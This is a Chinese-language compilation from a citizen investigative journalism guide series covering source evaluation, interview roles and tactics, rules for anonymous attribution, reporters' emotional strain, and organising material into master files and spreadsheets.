比如，当和极右人士谈话时，你可以说："我们觉得您的媒体形象看

起来不太准确，我们希望知道真实的情况。”而不是说：“真实的情况可能更糟。”

♦ 如果你不能回答一个问题，就坦白告知，并告知自己什么时候能回答它。

你希望了解的关于信息源的东西。

我们在同什么样的人打交道？他们在回应什么引起他们兴奋的东西？他们于我们谈话的目的是什么？他们仅仅是想要或需要讲出他们的故事吗？还是利用我们达成另外的目的？

英国情报机关用一个三角形的图表来评价瑞典国家电视台（SVT）的电视网络：

☞当你使用这个图表的时候，记住下列事项：

关于动机 ——

合作的动机是什么？

- 复仇？
- 正义？
- 野心？
- 对权力认可的欲望？

问自己：此人经历过、听说过或看到过他（她）正在谈论的东西吗？或者他所提供的是二手信息吗？信息源有文件或其他信息源来证实自己的信息吗？信息与其他资料相符吗？信息源有什么掩盖的吗？信息源与你知道的其他人或组织有联系吗？信息源之前提供过正确的信息吗？

获取信息

信息源在获取信息的必要位置上吗？其他还有谁可以获取信息？可以在不暴露信息源身份的情况下使用信息吗？

⚠具体是什么动机并不重要，重要的是它要可以理解，并使人信服。

关于信息质量 ——

在新闻报道中，信息的最高质量被认为是来自最高层的信息源。而调

查者则认为，最高层的信息源对说真话的兴趣远不及下层。

⚠从这个角度说，更高质量的信息更有可能来自组织较低层的、充满个人野心和反组织目标的人。

关于获取信息 ——

如前所述，⚠大多数调查中的理想信息源是组织中的中层人员，他们负责操作或计划。这些人能够获取重要文件，但对政策的形成或执行没有什么影响力。同样，他们在组织内是非常容易受伤害的。

⚠因此，当这种信息源给你一个机密信息的时候，马上问他（她）：“还有谁知道这件事？” 向他们解释你不想引用直接可以导向单一信息源的信息 —— 这会暴露他的身份。

如果你在会面中记下了受到限制的信息，在它旁边做一个记号以提醒自己不能引用它，并且要告诉信息源你这样做了。这是信誉。

💡简单来说，让信息源看到你在考虑如何保护他（她），并且确保自己的确这么做了。

选择你的角色

「图」

在你的采访中，你可以扮演两种主要的角色。

专家 —— 知道大部分的答案，可以完全理解和重视一个同等的专业信息源提供的富有技术含量 的信息。

对于专家来说，与信息源的谈话是高层次的，普通人难以跟上。

我们曾经听信息源这样说：“和一个真正了解此事的人说话很棒，这意味着我可以尝试我的各种想法。”

不过，如果你以专家的角色开始，请确保自己不会在后来的采访中暴露出自己的知识实际上没那么深厚，那样你会丢脸的。

纯朴的人（或老实人）—— 他们和信息源的对话非常详细，因为他们所知甚少，并渴望被启发。

这并不意味着纯朴的人是笨蛋，虽然他（她）有时可能希望被信息源

低估。

如果你看过 Columbo 工作的话， 你就理解了纯朴的人是什么样的。

💡这可能是最强大的角色，因为它允许你说幼稚的话、提简单的问题，也可以有复杂的问题。很灵活。

因为纯朴的人需要针对所有东西提问，他（她）避免了让信息源了解自己的目标及已经掌握的信息的危险。

👉调查者常常以纯朴的人的角色开始采访，当对话进行时，逐渐显示自己的专家身份。

👉如果你这么做，小心不要给信息源留下你对他撒谎的印象，除非你的目标就是打一场突袭， 然后永远不再见他。

你可以在采访中用这两种角色中的一种，或者两种都用。

👉关键是：确认自己在特定时刻扮演特定角色时的真实性。

在调查过程中与人交流是一种战术。每个人都存有自己的对话战术，许多人从来不改变战术，就像只会一句台词的蹩脚演员一样。

您可不能这样。

作为一名公民调查者，您需要多花时间和工作中包含提问的所有人相处，从中摸索最恰当的模式。

💡最好的采访技巧反映了采访者的个性，所以当你准备自己的保留节目的时候，把它也考虑进去吧。

下一篇文章中我们将详细推测一些计策给您，虽然不能说确保您人见人爱花见花开，但基本能帮助您套出想要的东西…… 下次见。〇

—— 未完待续 ——

原文

套话的战术：利用情感，但不要被情感所利用 — 公民调查指南（5） - iyouport

公民调查指南-不再吃瓜

【2020年5月5日存档】本系列内容不仅为培训公民调查人员所使用，也同时可以帮助普通人识别那些不专业的操作 —— 当有人没能以符合专业原则的方式接近你时，你可以指出他们的错误、嘲笑他们、或在必要时拒绝合作

如果您还没有读过或忘记了本系列此前的部分，可以在下面回顾：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》

本文继续前面的内容，具体介绍一些套话的战术。

于是本文中介绍的技巧不仅有利于公民调查人员，对于任何一种希望搞定社交关系的需求来说，也是非常有用的。

1、准备一些新闻作为 “见面礼”

「图」

很多调查者经常在一件事还在进行中的时候就介入，这意味着已经有其他媒体做出了记录，但这些记录中经常充满了错误。

开始一段采访和一段 *关系* 的时候，尝试带一些这样的新闻，让信息源和你一起阅读、评价它们，这样你就可以知道哪些事实是真实的、哪里有错。

☞绝大多数人都喜欢被问及自己知道的事，作为调查者，你的 “见面

礼” 就是给对方一个表达自己知情的机会。

你不需要解释说你比那些糟糕的同行们更重视真相。让对方自己看出来。

2．掌控局面

「图」

简单地招待对方，以表明这是你的主场。有时候一杯饮料就够了。对方会对这种姿态表示赞赏，对话的开端会更顺利。

想想一场类似于权力斗争的采访会发生什么？因为那是不专业人士经常出现的错误。你应该避免。

好好选择你站或坐的地点，调整好位置，直到你感觉舒服为止。

掌控好你的工具，比如 不要让被访者动你的录音设备或笔记本。（如果你知道这种情况有多么经常发生的话，你会感到惊讶的）

☞如果被访者动了，你应该说：“那是我的工具，我不动你的，你也不要在未经我许可的情况下动我的，好吗？”

但不要说：“我可以录音吗？” 应该说：“我会对采访进行录音，以确保准确。”

然后打开录音笔，当着对方的面说出采访的时间、地点以及被访者的姓名。

如果你认为信息源会拒绝录音的话，带一个见证人来，告诉采访对象：“为了保证我们的记录是准确的，我叫了一个同事来帮忙。”

3．保持距离

「图」

有些人职业记者之所以选择这份工作不过是为了结识一些大腕，然后在人家的公司里晒太阳、玩游泳池。这似乎很享受，但是，如果一个调查记者想这么做的话……最好先带一条大狗。

☞因为真正的调查记者都是基本会令调查对象厌恶的。如果你只会招人喜欢，你可能不是调查者。

如果你成为采访对象的朋友，你将以背叛他们告终。

⚠表面上的受害者并不总是像他们看上去那样纯朴，有抱负的政客有时只不过是江湖骗子，行业中的船长级人物可能会淹死他们的船员。

别和他们一起沉下去。

4．利用信息源的弱点

「图」

意大利著名记者 Oriana Fallaci 对亨利·基辛格的经典采访是在一种丢脸的相遇中开始的：

他转过身去背朝着 Fallaci，然后问她是否会爱上他。

Fallaci 火了，接着她意识到基辛格对女人总有这毛病。她还得出结论：这样一个对正在完成本职工作的记者都肆无忌惮调戏的男人不值得同情。

在随后的采访中，她将原来关注于精确信息的问题换成了用女性的诱惑去提

出的挑逗式、恭维式的问题（比如："现在我想问你一个我曾经问过宇航员们的问题：在月球上行走过之后你准备干什么？"）

☞谈话的平衡逐渐被打破，基辛格失去了对对话的控制，最后也失去了对自我的控制。

结果，他的权力之心被打开了。

你可以学学 Fallaci：💡不要同情掌权者，特别是当他们不公平竞争的时候。

如果你找到了他们的缺陷，那就充分利用它。

☞比如，如果一个公众人物的记录表明他（她）喜欢讲大道理，而不是事实，那么就从他（她）的以往记录中寻找那些与他（她）喜欢放在嘴边的大道理相抵触的事实。

5．令信息源感到意外

「图」

如果你要采访一个公众人物，他（她）可能就同样一个话题接受过许多次采访，你可以利用这个事实来准备一个开辟新天地的采访。

☞查查哪些问题已经被问过就行了，然后准备一些完全不一样的问题。

有时候令人惊讶的是，一些记者忽略了这一点。

比如，Mick Jagger 曾经就几乎所有话题被采访过，唯独没有谈过他如何创作音乐。结果他很高兴谈论此话题。

6．让信息源令你感到意外

「图」

那些职业记者总是匆匆忙忙，一个表现是：他们组织的问题经常让信息源无法说出他（她）真正认为重要的东西。

而这些问题能让你得到一些不曾被注意过的重要的东西。

☞特别是，如果信息源经常说类似这样的话：“我可以回答你的问题，但有一个你没问到的问题更重要。”错误的回答是：“以后再说吧。”

正确的应该是：“说说看。”

被访者的回答有时会带给你一个全新的故事，可能比你正在操作的那个更重要。准备好惊喜吧。

7．让信息源也工作起来

「图」

特别是在事情发生的时间表非常重要的情况下，一个进行后续采访的好方式是带着信息源回顾那些已经讨论过的事件，检查时间表以及每一事件细节（比如当时谁在那，说了些什么）的正误。

☞信息源很少在第一次谈论一件事的时候就准确、完全地回忆，他们的记

忆必须被刺激，痛苦的经历必须被发泄出来。

如果整个故事因为这项工作的进行而被改写，不要觉得惊讶。

8．倾听潜台词

「图」

☞这对于中文、日文来说尤其重要；正如你所知道的，东方文化总是注重含蓄，人们往往不会把话说满。所以调查者应该擅长捕捉画外音。

在采访中注意不要忽略了潜台词，⚠特别是：

♦ 当被访者的音调变化的时候，这一定是紧张的表现。

♦ 当信息源的语言变得含糊、重复，而没有增量信息加入的时候（重复可

以帮助记忆，但它应该带来新的细节）。

♦ 最后，当信息源回答一个你没有问的问题时，要注意。是他（她）想要告诉你真正重要的东西，还是想要回避某个领域？如果是后者，那么这个领域可能就是你现在或以后最值得调查的。

如果你用了录音设备，在播放采访录音的时候对这些时刻要十分注意。

9．让信息源参与进来

「图」

☞记住：和信息源的关系可能比他（她）在一次采访中提供的任何特定信息都更加重要。

随着时间的推移，这段关系会创造出相互的约束和责任。

当这种情况发生的时候，没有经验的调查者可能会不自觉地产生罪恶感，觉得自己太深地介入信息源的经历了。在无意识中，他们会避开信息源。

⚠这完全是错误的做法。

相反，应该和信息源保持常规联系。打打电话分享信息，问问最新的情况，或者请信息源评论一些他（她）知道的事。

☞不要等着需要信息源提供一条关键信息的时候才让他（她）想起你的存在。

这样做的话，信息源会越来越深地介入你的工作。通过不断告知他（她）你的进展、你的成长，以及请他（她）提供信息和洞见，你让信息源在最终的报道成果中享有“股份”。

实际上，信息源成为了你在重要话题上的顾问。

☞你就能获得比任何人都更多的信息 —— 对方会在获知新信息时第一时间想着你。

10．立即温习你的笔记

「图」

尽量在采访后立即留出时间—— 可能一刻钟就够了—— 来快速温习你的笔记，看是否有忘记记录的东西。

当你离开房间的时候，对情绪、歧义及其他细节的印象会马上出现，捕捉它们。有可能很重要。

11．可以的时候，休息一下

「图」

习惯于进行简短采访的调查者会觉得与信息源进行长时间的对话非常费力。

普通记者可能从来不会进行超过一两个小时的采访，⚠而调查记者则需要进行为期数天的采访。

您必须清楚，在这段时间里，疲劳和紧张可能会让眼前的信息源变得咄咄逼人。当这种情况发生的时候，注意不要无谓地恶语相向。

保持平稳。

发表、不发表还是匿名发表？

「图」

消息源喜欢说："我说的这些不供你发表用。"

但问题是，这时候他们常常不知道自己在说什么。

⚠不幸的是，很多记者也不明白 —— 作为调查者，您不应该在此出现误会。

各种类型的匿名方式或署名方式可以叙述如下：

不供发表：

记者承诺不使用信息源提供的信息，除非该信息也被另一个信息源完整提供了—— 如果这种情况发生，信息源不能阻止记者使用该信息。

不署名：

记者可以使用信息，但不能直接说出这是由某个信息源提供的。

一种替代的称呼，比如 "一个接近司法系统的信息源称"，必须由记者和信息源双方同意才可使用。

署名发表：

记者可以使用信息，也可以写明这是由某个信息源提供的。

⚠这里需要知道的一件关键的事是，当许多信息源说 "我说的这些不希望你发表"的时候，他们真正的意思是："我希望你使用这条信息，但不要说是我说的。"

你要做的就是，问问你的信息源："你的意思是不希望我使用这条信息，还是不希望我使用你的名字？"

☞如果信息源说"我不希望你使用我的名字"，那么问他："还有多少人知道这条信息？如果我使用了它，有人能从中判断出它是来自你的吗？"

如果答案是否定的，那么继续问："我们应该怎样指代信息源呢？"；而不要说："那么我们应该称呼你什么呢？"

是否保持匿名取决于信息源的选择。如果署名意味着给自己的职业和

安全带来危险的话，人们基本上不可能署上自己的真名来给你提供信息，他们对自己面临的风险有更好的判断。

☞你的责任就是：确保尊重信息源的选择，使用事实的时候必须避免暴露信息源的身份。

同样，采访中也不要问那些基于只有很少几个信息源才能提供的信息之上的问题。

⚠使用匿名信息源的做法将使用信息的风险从信息源转到了你身上。

如果信息是错误的，你的信誉将危在旦夕。如果你被起诉，你将既无法证明自己的善意，又无法证明信息的准确性。

因此，**强烈建议你不要** 发表基于匿名消息源的材料，「除非」是下列几种情况之一：

- 能够从其他信息源处得到文件证据。
- 匿名信息源提供的信息和其他经过验证的信息相匹配。
- 信息源过去表现可靠。
- 如果信息源的信息来自于一份文件，而凭这份文件是无法追查到信息源

本人，那么索要这份文件吧。不要让信息源在不知道上下文语境的情况下从文件中引用东西。（⚠在法国的血液污染事件中，《世界报》的一位医学记者职业生涯被毁了，就因为信息源玩了这个把戏）

如果你找不到类似的情况，那么问问最初的信息源是否愿意被署名，这样的话他（她）那部分的故事就可以讲了。

☞至少在一种情况下，当你感到信息源处在将要允许署名的边缘时，应该说："你的名字将出现在我们的报道中，但你将在发表之前检查含有你名字的部分。如果你不满意的话，我们可以去掉。"

通常信息源会决定允许署名，至少在某些事实上这样做。

利用情感，但不要被情感所利用

「图」

您可能已经注意到了本文这部分有一条主线：在与信息源的关系中情感和心理的重要性。

下面将考虑的是这一主题中的一些细节。

1．情感是信息

「图」

对于那些在“客观”报道教条中受过训练的记者，或是那些处于匆忙状态的记者来说，⚠一个经典的错误是：只从信息源的回答中获取信息，而不获取情感。

他们倾向于认为情感是“噪音”—— 包括他们自己的情感也是。

David Halberstalm 在他的经典作品《The Powers That Be》中提出，☞这就是为什么《华盛顿邮报》两个无经验的记者拿到了水门事件，而不是他们的竞争对手。

年轻的记者让自己被他们信息源的恐惧所感染，并且亲身感觉到：恐惧告诉他们这则报道是大新闻。

情感最少能告诉你一些事情正在发生，以及正在发生的事情有何重要性；但是能给你指明一个方向。

2．情感的渗透作用

「图」

如前文所述，几乎在每一起调查中，最早的信息源都是受害者，他们急迫地寻求帮助和慰藉。

☞为了开拓报道，记者要吸收他们的痛苦和愤怒。

☞注意别对这些痛苦发牢骚，特别是冲着信息源发牢骚。

但要认识到，在你调查的某些时刻，你可能会变得沮丧，这经常发生在你准备写一篇将要抽空你情绪的报道之前。

比利时记者 Chris de Stoop 为了一则对于性奴的精彩调查，花了一年时间暗访北欧的色情俱乐部，他说过，在一年快结束的时候，他有几个星期特别沮丧，甚至不能离开自己的房间。

☞一种处理此种综合症的方法是团队工作，成员间可以提供看法，彼此平衡。

如果你的编辑不明白，或者没有意识到这种综合症的话，这表明他（她）在调查报道方面没有能力，寻找其他的支持力量吧。

3．捕蝇纸综合症

「图」

进行一项长期调查的记者会变得对那些激发、刺激信息源，或使报道信息源痛苦的事情异乎寻常的敏感，然后开始像捕蝇纸一样捕捉那些“虫子”。

一个表现是记者开始在新闻中留意报道的出处和各个方面，而他（她）之前是没有注意过这些的。

另一个表现是记者的听力会发生变化，他（她）会开始在各种地方收集含有某些关键词的对话。（是的，不要感觉奇怪，这种情况经常发生）

☞这是一种难以置信的令人兴奋的感觉，可以增加你的能量，但同样也令人不安。如果你不够小心，这种新的敏感会让你对报道之外的世界视而不见。

你失去了对什么是正常的感觉，也感觉不到这个社会大多数时间都运转良好的事实，因为你太习惯于生活中有问题的那一部分了。

如果你感觉到这种情况正在发生，务必花时间想想报道之外的事。

4．无力感

「图」

一些年以前，在一场为时五年的调查中间，一些调查者意识到他们喜欢的、尊重的、富有魅力的信息源竟然是罪犯，而调查的工作就是要去证实它。

对方同样也是有权力的个人，这就让说出真相的可能性变得难以确定。

在这种情况下，一些记者自己病倒了。

☞这些危机发生的时刻正是您需要心自问的时候，你问自己是否真的

拿到了证明事件的一切所需证据，是否没有什么重要的东西被遗漏了。

另一方面，你看到、听到了足够让你生病的东西，而你的一部分内心仍然希望相信事实不是那样，这会让你觉得你永远无法获得足够的资料。

☞记住：如果你不发表的话，情况只会更差。于是最好的选择是：保持在你所发现的东西范围之内，对自己的工作表现出重视，然后写出来。

5．将情感具体化

「图」

这是对付这些情感反应的简单方法：记下你在调查过程中的情感。

写下你感觉到了什么，是什么让你这么感觉的。你跟谁说话了？他们说了些什么？哪些想法出现在你脑海里？

记下你的感觉，将它们转化为可以具体化和可操作的材料。

这一材料可以像其他材料一样得到检验。用它来辨认出你和信息源之间的互动模式，特别是在你调查中的危险时刻。

☞在某些时刻，焦虑和恐惧将会出现，这些感情会指出新研究的需要。或者，它们可以指出你的孤立无援。

不管是哪一种方法，你都可以做—— 通过寻找盟友，或通过确认你的信息。

6．不要忘了明天

「图」

在报道发表之后，记者太经常忘记他们的信息源了。

☞公民调查者绝不能这样做。如果报道一发表你就切断联系，信息源会觉得你是个叛徒。

如果你保持联系，你将开始建立一个为未来调查服务的信息源网络。

如果你不够聪明，做不到后者，你可能不太适合做调查者。

最后

「图」

一些人经常问："我们在调查中不会制造敌人吗？"当然，但如果你用正确的方法工作，在和人打交道时尊重他们的权利，也尊重你自己的权利，那么甚至你的敌人都可能会尊重你。

更重要的是，比起制造的敌人，你会结交更多的朋友，而这些朋友可能是更优质的。

下一篇文章我们将具体介绍组织素材的方法 —— 能让你的调查工作不至于白费劲的技巧。也就是说，以改变现状为目标。下次见。〇

原文

FBI同款调查技巧 — 公民调查指南（6） - iyouport

公民调查指南-不再吃瓜

【2020年6月2日存档】公民调查者可以采取联邦调查局追踪案件的方法，让你的调查更系统和清晰

如果您还没有读过或忘记了本系列此前的部分，可以在下面回顾：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》
- 《套话的战术：利用情感，但不要被情感所利用 — 公民调查指南（5）》

本文继续前面的内容。

目前的进度：

- 发现一个主题
- 提出一个有待检验的假设
- 搜寻公开资料来验证假设
- 寻找人脉资源来丰富自己的理解
- 收集好材料之后，接下来便要组织材料（这样更便于验证假设），把它们融入故事之中，然后再核对

对于公民调查人员来说，您需要关注的主题都将是很复杂的、主流媒体不想做的那种，所以您应该有一套科学的专业的方法来帮助这份复杂的工作。

调查性报道都比一般新闻报道需要更多的素材，而且这些素材必须在一个动 态的基础上被有效地组织起来。

这项组织素材的工作是系统的工作过程中的一部分 —— 你不是做完研究后再去组织和写作，而是一边调查一边组织素材，然后为开始下一步的写作做准备。

如果不花时间组织素材，你就最少需要用两倍的时间来完成工作，你的写作、解释和辩护就会变得更困难。

除此之外，如果不组织好素材，你也不会享受这项工作，因为你时刻都在为杂乱的原材料而沮丧。

这里为您提供一些有助于日常工作的简单步骤。

☞组织材料可以帮你避免许多麻烦。可以确保：

- 你知道自己已经找到了哪些材料、及其包含的信息；
- 当你想找某份材料时，可以在 30 秒内迅速找到它；
- 你可以把所有材料中的相关因素建立起联系。

如果你可以迅速知道已经有了哪些可供使用的材料，那么你的调查本身就不会失败。

同样重要的是，你在以后的调查项目中可以再次使用这些信息，就好像建立了一个投资基金。

如果做不到，您的努力便会变得廉价，所以，请不要认为这只是工作中的一 小部分。

你当然不能把所有的时间都花在这上面，但你必须拿出足够的时间，这样才能在调查的每个阶段都牢牢掌握你得到的数据和资料。

☞这个过程可以分成两部分：# 很明显，你要为所有的素材建立一个数据库，一个有序的、包含搜索功能的档案库或图书馆。

- 其次，要像建构你的数据库一样来结构你的文章，并对其保持自信。

1、建立数据

「图」

可以用来建立数据库或档案库的工具有：文件夹、电子文档或两者并用，但最关键的问题在于方便你使用，所以其结构必须扎实而快捷。

建议您使用以下简单而有效的基本步骤：

A、收集素材

消息源的名片就是一种素材，官方报道、新闻简报、采访笔记、笔录等也都属此类。

B、浏览素材以便评估其内容

在你觉得重要的段落下划线或加亮，或做其他标记。如果哪份文件特别重要的话，确认至少保留一份纸质或电子副本。

C、如果素材本身没有标题或号码，给素材取名、标号

只要能够提醒你素材的内容，可以取任意标题。（这对网页来说尤其重要！有时保留网页的原标题几乎等于把它隐藏在你硬盘里，所以要么修改标题再保存，同时记录下它的原始网络地址，要么把你感兴趣的那部分内容复制到其他文件里，同时存下网络地址作为参考。）

而对采访而言，建议您使用受访者的姓名作为标题，如果受访者不便透露姓名，那么就要给他/她取一个代号。

D、将素材归档

将素材按照你习惯的顺序排列起来。这样会便于寻找。

比如 按照主题归档：为每一个主题建立一个单独的文件夹，当获得更多相关素材时，直接扩充原文件夹或进一步细分，在每一个主题文件夹下，会按照时间顺序排列素材，新素材显示在前面。

E、定期浏览素材

每月一次即可。确保不同的素材被正确归档。

如果某个素材看起来有点陌生，花点时间读一读，这不仅仅是为了更新素材，而是要确保你对素材内容的熟悉。

F、在不同的文件夹下交换素材

当特殊个案或系列事件出现，需要单独成文时，从所有素材中复制出与主题相关的部分，并新建一个文件夹，同时要确认在旧文件夹中保留原版素材。

这些是 **FBI** 使用的技巧：一旦某个素材涉及到另一个素材时（比方说，如果两边都涉及同一个人），同时复制两个文件夹里的所有内容。

这一技巧的原因在于增加了从散乱素材中建立联系的机会。

G、做备案

☞如果涉及敏感素材，请准备副本，并保存在除家和办公室以外的、你或你的同事能够接近的地方。

⚠不要把诸如秘密消息源等敏感素材存在你的电脑上！千万别以为你电脑上的资料都是安全的 —— 尤其是如果您不擅长安防技术的话。

编排数据：创建一个优秀的主文件

「图」

只有把素材运用在你的报道之中，它才能发挥效用。

你的假设会帮助你记住报道的核心，并指导你的调查。但这些还不足以形成一篇结构紧凑、得体的报告，你还需要另一个关键的工具：优秀的素材库。

从最基本的层面来说，一个主文件就是一个 “数据百货商店”，用以存放你收集到的一切信息。

但它不是一个杂乱的垃圾场，还需要你整理排序。这项工作的关键之处在于把所有你可能用到的信息以同一个形式储存在同一个地方。

1、主文件的基础

A、在你的电脑上创建一个新的word处理文件或数据库文件。任意一种即可，选择你最得心应手的哪一种。

B、把素材移入文件夹内

所谓 “素材” 是指一切在文章中需要用到的元素，包括：消息源、采访笔录、

文件概要、其他记录等等。建议您把消息源放在首位，以便于更方便的找到他们。

♦ 如果素材是电子形式（在线文档、网页、扫描插图等等），直接移入文件夹内。

♦ 如果素材不是电子形式（比如纸质文件）而原版又非常重要的话，那么就扫描文件并且存入硬盘里一个易进入的地方，并在主文件夹中做好指向该文件的超链接。当然，你可能还需要加入指向网页或其他在线资源的超链接。

♦ 不要懒得记下采访中的关键部分，在这部分调查中多花一点时间，可以为你今后节省更多时间。

♦ 确保你放入文件夹内的每一个素材都含有其消息来源的信息。对于那些已经公开出版的消息源，记下完整的版权信息。

♦ 同样要确保记载为你提供联系人的消息源。主文件夹应该包括你带着调查目的进行第一次联系时的信息，比如他/她说了什么，什么时候约定了一个消息源等等。

当你的调查被质疑的时候，这类信息是极其重要的，因为它们展示出你为调查做出了严肃的努力。

♦ 重申一次：不要把任何可能危及消息源安全的信息放在主文件夹内。要假设你电脑里的任何东西都可能被别人获取。

C、当你往主文件夹里放置素材时，如果该素材有一个实际位置（比如一个文件夹），要标记好其具体出处，以后会有大用处，当你对其内容有疑问时可以轻松找到。

☞同样重要的是，如果你的律师在报道发表前想知道你的依据何在，你就能很快交给他们那个文件。

（律师们都认为这是一个非常贴心的举动，尤其是对于那位将在你遭遇法律指控时为你辩护的律师而言。）

D、在你移动素材之前，要安排一个初步顺序。从组织素材的角度看，最简单也最管用的顺序是时间，即按照事件发生的时间来排列。

当历史人物第一次出现在文件中时，要插入画像和传记信息。

E、当你创建主文件时，不同素材之间的关联会在你头脑里变得清晰起来，即使有些事实看起来毫无关系。

可以用来解释素材的段落和句子也可能浮现出来。要在主文件夹中记下这些想法，并用关键词标出（比如，你可能用到NOTE这个词，那么可以用大写字母TN来表示to note的意思）。

F、保证你每次保存文件时都用同样的格式标注了日期（比如*年*月*日）。同样，保证你每次都按同样的格式标注名字。否则以后找起来会很麻烦。

2、为主文件分类

「图」

丹麦计算机辅助报道研究所（Danish Institute for Computer-Assisted Reporting）创始人之一的 Flemming Svith 发明了一个比以上内容更加精细的系统 —— 他不使用word文档来收集和整理数据，而是用excel或开源的电子表格软件来创建索引和主文件。

方法很简单：他为调查工作创建了一个电子表格，然后根据以下标题创建单独的页面：

A、文件列表

Flemming 偏好按照时间顺序排列文件。他强调在任何情况下都要“给所有的文件编号并按号码顺序排列”。

如果文件列表中包含一个电子文件，他会加上一个指向在线或硬盘地址的

超链接。他还为文件和数据设计了如下表格：

「图」

B、消息源列表

Flemming 通过以下数据列表来保持对消息源的跟进（除名字外的所有坐标信息都已经过修改）：

C、时间序列表格列出了在调查过程中各事件的线性顺序，还包括了所有消息源的联系方式，如下：

「图」

D、以下是一个联系人列表：

「图」

你也可以看到，Flemming 把可能被其他记者归为一类的信息拆分成了不同的类别。

这样做的好处是为整个系统提供备份，同样的信息可能不止存放在一个地方。（而它的坏处在于更易出错）只要一秒钟，这个电子表格就可以让你快速地对整理分类所有素材，按照调查中的某个人物或因素进行搜索和分组。

这是无法通过word文档实现的。

建议使用你最得心应手的软件，除非它已经明显不能满足你的需求。如果 word 是你最喜欢的工具，就用word，如果你能够搞定电子表格就用电子表格，总之要选择你能掌控的那一种。

3、为什么这么麻烦？什么时候能用到？

「图」

你并不需要在做每次报道时都做这么多，但如果你不为单个调查创建一个主文件，而只是留下一打文件或一堆消息源，那么你以后迟早会后悔。

☞调查性报道和日常新闻报道的关键区别在于：前者牵涉到更丰富、更多元的信息和联系人。以上提供的这个系统正可以帮助你处理这种情形。

你可以改变或改进它，或者自己找一个更好的方法。

千万别认为这些方法会拖累你的进度，如果跳过它，你的工作要么变得更慢要么就会失败。其最明显的优势如下：

♦ 当你准备写作时，可以让所有素材有序排列而唾手可得，避免你忘掉之前找到的材料。

♦ 当你需要确认事实时，保存完整的素材及其来源会帮你省去一大把时间和痛苦。

♦ 简而言之，你可以写得更快，写得就更好。

具体的组织技巧

「图」

1、如何处理核心段落或假设

在一篇报道比较靠前的部分，必须有一个小段落介绍故事的主旨、核心，某种程度上还要解释它为什么值得读者关注。

大多数时候，如果你已经提出并验证了一个假设，那么它就是核心。如果没有这个段落，读者可能很难理解你的想法和初衷。

以下是来自一篇得奖报道的核心段落的案例：

> “1992 年，一个社会主义政府试图通过限制薪水的方式防止政客同时掌控若干部门（这是一个古怪的法国在选举民主上的挣扎），但是他们没有注意到这些政客们自己无法都集中的过度财富。我们的调查显示，近年来有 4500 万美元从国库被悄然转移到了政客的口袋，左派右派都是如此。”

☞核心段落要用简单句式，如果你不能用简洁的篇幅讲清楚这个故事，可能是你自己也没有理解。

2、不公正的表象：典型人物

有一种很古老的文学技巧是通过一个特定的人物来拟人化地表现一种普遍境遇，这种方法在新闻报道中有被滥用之嫌，但依然有效。读者和记者都在试图体会事件本身的情感基础，比如向读者展示一个受害者的形象就能行之有效地表达出整个故事的感觉。

这种技巧的变种是用一个段落来描写一个场景，就像电影一样，我们喜欢通过环境来接近事件的核心。

除非你的场景里有人物，除非你告诉读者不同环境的不同的特点和重要性，不然这一技巧很难凑效。

如果你要使用典型人物，请注意以下几点：

♦ 你的案例必须适合整个报道，不要拿来一个极富戏剧性的案例结果文不对题。

♦ 每一个案例只用一次，不要总是重复回到同一个案例，除非你的报道就是针对这个案例本身。

⚠3、警惕：不要把你自己放在受害者的前面

当报道或拍摄一个受害者时，记者可能或夸张或直接地跳到受害者之前，迫使读者看到记者而不是受害者的愤怒或悲伤，这是很容易犯的错误。

在一次针对法国堕胎问题的调查中，一位记者写道："她和她丈夫将经历一段

创伤期……对这对年轻的夫妇而言，茫然不解代替了惊恐。"

请注意记者的解读是怎样突然从受害者的经历变成现在的感受？

☞记者不自觉地回避了痛苦的视角，但读者会看到这个记者把他/她自己看作比受害者重要。

如果谁在你报道的故事中受到了伤害，展示他们，别展示你自己。

如果你的确要走上前台，那么也只能站在受害者身边。调查性报道的出色作用就是为那些没有自我保护能力的人辩护。如果你不帮助受害者拯救他们的名誉，那么你自己也没什么荣誉可言。

4、让消息源说话

在新闻写作中，很多时间被浪费在构思怎么写一些采访对象已经说的很到位的话，这是很遗憾的，因为处在故事之中的人当然是最好的讲故事的人，他们有最好的表达和最高的热情，你为什么要去写一些他们已经帮你讲出来的话呢？

最好的办法就是把各个消息源的直接引语穿插你的报道，让它们来为你的报道加分。

☞记住：人们不仅仅只是为了得到事实，他们想要知道你笔下人物的性格、腔调和风格。

对话就是最好的传递这些信息的渠道，只要需要，可以多多使用，根据长度和影响适当做一下编辑。

5、做好基本的编辑

编辑是一门把你的报道变得更好的艺术。

一个外围编辑至少应该能建议你补充材料使故事更丰满，也能建议你从哪些方面改善写作。但在别人介入之前，编辑也应该是一个频繁的过程，要养成每次打开文本都对其进行雕琢的习惯，打磨你的措辞和字句，同时要确保用一个不同的文件名存下最新的版本（比如，用日期或版本号来命名），这样你就不会丢失或错置很多材料。

a、编辑的三个标准

编辑工作应该能让你的报道变得更加清晰、更有节奏感。经过编辑的报道应该符合以下三个基本要求：

♦ 是否连贯？

所有的细节是否都整合起来了？证据之间的矛盾是否被解决了？

♦ 是否完整？

报道提出的所有问题都回答了吗？每一个事实的来源是否都合适地标注出来了？

♦ 是否动感？

如果故事太拖沓重复，你就会失去读者。

检验一篇报道是否符合以上三个标准的最好办法，就是看是否会出现读者不明白、不理解的情形。

以下是对于造成阅读障碍的普遍原因以及快速修正的办法：

♦ 报道是用内部视角来写，包含了太多专业术语、官话、行话。

这时需要使用更多白话，少用专家。

♦ 句子太长。

这时要把把长句拆成短句，但值得注意的是，句子太多也会像句子太长一样拖延速度。

♦ 段落太长。

当人物、地点或观点变化时，另起一段。

b、一个好故事就像一列火车

它向终点奔驰，途中可能会减慢速度，为了让乘客上车，或者让乘客聚焦在某一个特别的场景，但它不能停下。

☞ 所以当你写作和编辑时，请注意故事的节奏。读者必须能感到自己跟着段落在前进，如果不是这样，那这个报道就失败了。

不要改变整体结构，找出有问题的段落，删去或补充一些内容使之凑效。

c、需要时请重写

如果以上技巧没能保证写出一篇完整、连贯、动感的报道，那么你就需要重写了，不仅仅是修改一两个词语，然后重新进行组织编排。

不要改那些有用的段落，把注意力集中在那些出问题的段落。

